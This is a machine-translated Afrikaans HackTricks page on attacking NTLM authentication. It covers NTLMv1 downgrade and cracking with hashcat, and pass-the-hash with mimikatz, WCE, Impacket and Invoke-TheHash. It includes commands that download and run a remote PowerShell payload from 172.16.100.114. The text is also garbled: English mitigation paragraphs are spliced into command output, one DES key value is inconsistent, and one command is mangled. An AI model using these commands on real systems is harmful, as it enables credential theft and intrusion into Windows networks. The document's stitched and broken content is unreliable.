.. | ||
atexec.md | ||
places-to-steal-ntlm-creds.md | ||
psexec-and-winexec.md | ||
README.md | ||
smbexec.md | ||
winrm.md | ||
wmicexec.md |
NTLM
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersekuriteitsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die INSKRYWINGSPLANNE!
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die hacktricks-opslag en hacktricks-cloud-opslag.
Basiese Inligting
In omgewings waar Windows XP en Server 2003 in werking is, word LM (Lan-bestuurder) hasies gebruik, alhoewel dit algemeen erken word dat hierdie maklik gekompromitteer kan word. 'n Spesifieke LM-hash, AAD3B435B51404EEAAD3B435B51404EE
, dui op 'n scenario waar LM nie gebruik word nie, en verteenwoordig die hash vir 'n leë string.
Standaard is die Kerberos-verifikasieprotokol die primêre metode wat gebruik word. NTLM (NT LAN-bestuurder) tree op onder spesifieke omstandighede: afwesigheid van Aktiewe Gids, nie-bestaan van die domein, wanfunksionering van Kerberos as gevolg van onvanpaste konfigurasie, of wanneer verbindinge probeer word met 'n IP-adres eerder as 'n geldige gasnaam.
Die teenwoordigheid van die "NTLMSSP"-kop in netwerkpakkette dui op 'n NTLM-verifikasieproses.
Ondersteuning vir die verifikasieprotokolle - LM, NTLMv1 en NTLMv2 - word fasiliteer deur 'n spesifieke DLL wat geleë is by %windir%\Windows\System32\msv1\_0.dll
.
Kernpunte:
- LM-hasies is kwesbaar en 'n leë LM-hash (
AAD3B435B51404EEAAD3B435B51404EE
) dui op die nie-gebruik daarvan. - Kerberos is die verstek-verifikasiemetode, met NTLM wat slegs onder sekere omstandighede gebruik word.
- NTLM-verifikasiepakkette is identifiseerbaar aan die "NTLMSSP" kop.
- LM, NTLMv1 en NTLMv2-protokolle word ondersteun deur die stelsel lêer
msv1\_0.dll
.
LM, NTLMv1 en NTLMv2
Jy kan nagaan en konfigureer watter protokol gebruik sal word:
GUI
Voer secpol.msc uit -> Plaaslike beleid -> Sekuriteitsopsies -> Netwerksekuriteit: LAN-bestuurder-verifikasievlak. Daar is 6 vlakke (van 0 tot 5).
Register
Dit sal die vlak 5 instel:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f
Moontlike waardes:
0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM
Basiese NTLM-domeinoutentiseringskema
- Die gebruiker voer sy geloofsbriewe in
- Die kliëntrekenaar stuur 'n outentiseringsversoek deur die domeinnaam en die gebruikersnaam te stuur
- Die bediener stuur die uitdaging
- Die kliënt versleutel die uitdaging deur die has van die wagwoord as sleutel te gebruik en stuur dit as 'n antwoord
- Die bediener stuur die domeinbeheerder die domeinnaam, die gebruikersnaam, die uitdaging en die antwoord. As daar nie 'n Geaktiveerde Gids geconfigureer is nie of die domeinnaam die naam van die bediener is, word die geloofsbriewe plaaslik nagegaan.
- Die domeinbeheerder kyk of alles korrek is en stuur die inligting na die bediener
Die bediener en die Domeinbeheerder is in staat om 'n Veilige Kanaal via die Netlogon-bediener te skep aangesien die Domeinbeheerder die wagwoord van die bediener ken (dit is binne die NTDS.DIT-databasis).
Plaaslike NTLM-outentiseringskema
Die outentisering is soos die een wat voorheen genoem is, maar die bediener ken die has van die gebruiker wat probeer outentiseer binne die SAM-lêer. Dus, in plaas daarvan om die Domeinbeheerder te vra, sal die bediener self nagaan of die gebruiker kan outentiseer.
NTLMv1-uitdaging
Die uitdagingslengte is 8 byte en die antwoord is 24 byte lank.
Die has NT (16 byte) is verdeel in 3 dele van elk 7 byte (7B + 7B + (2B+0x00*5)): die laaste deel is met nulle gevul. Dan word die uitdaging afsonderlik versleutel met elke deel en die resultaatversleutelde byte word saamgevoeg. Totaal: 8B + 8B + 8B = 24 byte.
Probleme:
- Gebrek aan willekeurigheid
- Die 3 dele kan afsonderlik aangeval word om die NT-has te vind
- DES is kraakbaar
- Die 3º sleutel bestaan altyd uit 5 nulls.
- Met dieselfde uitdaging sal die antwoord dieselfde wees. Jy kan dus die slagoffer die string "1122334455667788" as 'n uitdaging gee en die antwoord aanval wat met vooraf berekende reënboogtabelle gebruik is.
NTLMv1-aanval
Dit word al hoe minder algemeen om omgewings met Onbeperkte Delegering geconfigureer te vind, maar dit beteken nie jy kan nie 'n Drukspooler-diens misbruik nie wat geconfigureer is.
Jy kan sekere geloofsbriewe/sessies wat jy reeds op die AD het, misbruik om die drukker te vra om teen 'n gasheer onder jou beheer te outentiseer. Dan kan jy met metasploit auxiliary/server/capture/smb
of responder
die outentiseringsuitdaging op 1122334455667788 instel, die outentiseringspoging vasvang, en as dit met NTLMv1 gedoen is, sal jy dit kan kraak.
As jy responder
gebruik, kan jy probeer om die vlag --lm
te gebruik om die outentisering af te gradeer.
Merk op dat vir hierdie tegniek die outentisering met NTLMv1 uitgevoer moet word (NTLMv2 is nie geldig nie).
Onthou dat die drukker die rekenaarrekening tydens die outentisering sal gebruik, en rekenaarrekeninge gebruik lang en willekeurige wagwoorde wat jy waarskynlik nie sal kan kraak met algemene woordeboeke nie. Maar die NTLMv1-outentisering gebruik DES (meer inligting hier), dus deur van dienste wat spesiaal toegewy is aan die kraak van DES gebruik te maak, sal jy dit kan kraak (jy kan byvoorbeeld https://crack.sh/ of https://ntlmv1.com/ gebruik).
NTLMv1-aanval met hashcat
NTLMv1 kan ook gebreek word met die NTLMv1 Multi Tool https://github.com/evilmog/ntlmv1-multi wat NTLMv1-boodskappe in 'n metode formateer wat met hashcat gebreek kan word.
Die bevel
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
NTLM Relaying
Introduction
NTLM relaying is a common technique used by attackers to move laterally within a network by leveraging the NTLM authentication protocol. This technique involves relaying NTLM authentication messages from a compromised host to another host in order to gain unauthorized access.
How it works
- The attacker intercepts an NTLM authentication request from a victim host to a target host.
- The attacker relays this request to another host within the network.
- The second host processes the authentication request, thinking it is coming from the victim host.
- If successful, the attacker gains access to the second host without needing valid credentials.
Mitigation
To mitigate NTLM relaying attacks, consider implementing the following measures:
- Enforce SMB signing to prevent interception and tampering of authentication messages.
- Disable NTLM authentication in favor of more secure protocols like Kerberos.
- Implement network segmentation to limit the lateral movement of attackers within the network.
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
Windows Hardening - NTLM
NTLM Relay Attack
NTLM Relay Attack is a type of attack where an attacker captures the NTLM authentication request and relays it to a target server to authenticate. This attack can be used to gain unauthorized access to a target system.
Protection Against NTLM Relay Attack
To protect against NTLM Relay Attack, it is recommended to implement SMB Signing, LDAP Signing, and Extended Protection for Authentication. These security measures help prevent attackers from relaying NTLM authentication requests.
Enabling SMB Signing
To enable SMB Signing, you can configure Group Policy settings to require SMB Signing for all communication with SMB servers. This helps ensure the integrity and authenticity of data transferred over SMB.
Enabling LDAP Signing
Enabling LDAP Signing helps protect against man-in-the-middle attacks by ensuring the integrity and confidentiality of LDAP traffic. You can enable LDAP Signing through Group Policy settings.
Enabling Extended Protection for Authentication
Extended Protection for Authentication adds an extra layer of security by requiring mutual authentication between clients and servers. This helps prevent NTLM Relay Attacks by ensuring that both parties are authenticated before establishing a connection.
By implementing these security measures, you can significantly reduce the risk of NTLM Relay Attacks and enhance the overall security of your Windows environment.
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
Voer hashcat uit (verspreiding is die beste deur 'n instrument soos hashtopolis) aangesien dit andersins verskeie dae sal neem.
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
In hierdie geval weet ons dat die wagwoord hiervoor wagwoord is, so ons gaan valsspeel vir demonstrasiedoeleindes:
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand
Ons moet nou die hashcat-hulpprogramme gebruik om die gekraakte des-sleutels in dele van die NTLM-hash om te skakel:
./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
Laaste deel:
Hierdie gids bevat inligting oor hoe om NTLM te verhard op Windows-stelsels. Dit bied 'n stap-vir-stap proses om die sekuriteit van NTLM te verbeter en om aanvalle soos pass-the-hash aanvalle te voorkom.
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
NTLM Reflection Attack
NTLM Weerkaatsingsaanval
Die NTLM-weerkaatsingsaanval is 'n aanvalstegniek wat gebruik kan word om NTLM-gelokaliseerde gebruikerskredensiale te steel deur 'n kwaadwillige skakel te stuur na 'n gebruiker wat reeds geauthentiseer het teen 'n kwesbare bediener.
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
NTLMv2 Uitdaging
Die uitdagingslengte is 8 byte en 2 reaksies word gestuur: Een is 24 byte lank en die lengte van die ander is veranderlik.
Die eerste reaksie word geskep deur die string wat saamgestel is deur die kliënt en die domein te versleutel met HMAC_MD5 en die hash MD4 van die NT-hash as sleutel te gebruik. Dan sal die resultaat as sleutel gebruik word om die uitdaging te versleutel met HMAC_MD5. Hierby sal 'n kliënt-uitdaging van 8 byte bygevoeg word. Totaal: 24 B.
Die tweede reaksie word geskep deur verskeie waardes te gebruik ('n nuwe kliënt-uitdaging, 'n tydstempel om herhaalaanvalle te voorkom...).
As jy 'n pcap het wat 'n suksesvolle verifikasieproses vasgevang het, kan jy hierdie gids volg om die domein, gebruikersnaam, uitdaging en reaksie te kry en probeer om die wagwoord te kraak: https://research.801labs.org/cracking-an-ntlmv2-hash/
Oorhandig die Hash
Sodra jy die slagoffer se hash het, kan jy dit gebruik om hom te impersoneer.
Jy moet 'n werktuig gebruik wat die NTLM-verifikasie met daardie hash sal uitvoer, of jy kan 'n nuwe sessieaanmelding skep en daardie hash binne die LSASS inspuit, sodat wanneer enige NTLM-verifikasie uitgevoer word, daardie hash gebruik sal word. Die laaste opsie is wat mimikatz doen.
Onthou asseblief dat jy ook Oorhandig-die-Hash-aanvalle kan uitvoer deur Rekenaarrekeninge te gebruik.
Mimikatz
Moet as administrateur uitgevoer word
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
Dit sal 'n proses lanceer wat aan die gebruikers behoort wat mimikatz begin het, maar intern in LSASS is die gestoorde geloofsbriewe diegene binne die mimikatz parameters. Dan kan jy toegang kry tot netwerkbronne asof jy daardie gebruiker was (soortgelyk aan die runas /netonly
truuk maar jy hoef nie die plat-teks wagwoord te weet nie).
Pass-the-Hash vanaf Linux
Jy kan kode-uitvoering op Windows-masjiene verkry deur Pass-the-Hash vanaf Linux te gebruik.
Klik hier om te leer hoe om dit te doen.
Impacket Windows saamgestelde gereedskap
Jy kan Impacket bineêre lêers vir Windows hier aflaai.
- psexec_windows.exe
C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
- wmiexec.exe
wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
- atexec.exe (In hierdie geval moet jy 'n bevel spesifiseer, cmd.exe en powershell.exe is nie geldig om 'n interaktiewe skaal te verkry nie)
C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
- Daar is verskeie Impacket bineêre lêers...
Invoke-TheHash
Jy kan die powershell-skripte hier kry: https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-SMBExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
Roep-WMIExec
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
Roep-SMB-kliënt
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
Roep-SMBEnum
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose
Roep-DieHashAan
Hierdie funksie is 'n mengsel van al die ander. Jy kan verskeie gasheer deurgee, uitsonder sommiges en die opsie kies wat jy wil gebruik (SMBExec, WMIExec, SMBClient, SMBEnum). As jy enigeen van SMBExec en WMIExec kies, maar jy gee geen Opdrag parameter nie, sal dit net kontroleer of jy genoeg regte het.
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
Evil-WinRM Pass the Hash
Windows Credentials Editor (WCE)
Moet as administrateur uitgevoer word
Hierdie instrument sal dieselfde ding doen as mimikatz (LSASS-geheue wysig).
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
Handleiding vir Windows afstands uitvoering met gebruikersnaam en wagwoord
{% content-ref url="../lateral-movement/" %} lateral-movement {% endcontent-ref %}
Ontgin van geloofsbriewe van 'n Windows-gashuis
Vir meer inligting oor hoe om geloofsbriewe van 'n Windows-gashuis te verkry, moet jy hierdie bladsy lees.
NTLM Oordrag en Responder
Lees 'n meer gedetailleerde gids oor hoe om hierdie aanvalle uit te voer hier:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}
Ontleding van NTLM-uitdagings van 'n netwerkvangs
Jy kan gebruik maak van https://github.com/mlgualtieri/NTLMRawUnHide
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersekuriteitsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF? Kyk na die INSKRYWINGSPLANNE!
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFT's
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die hacktricks-opslag en hacktricks-cloud-opslag.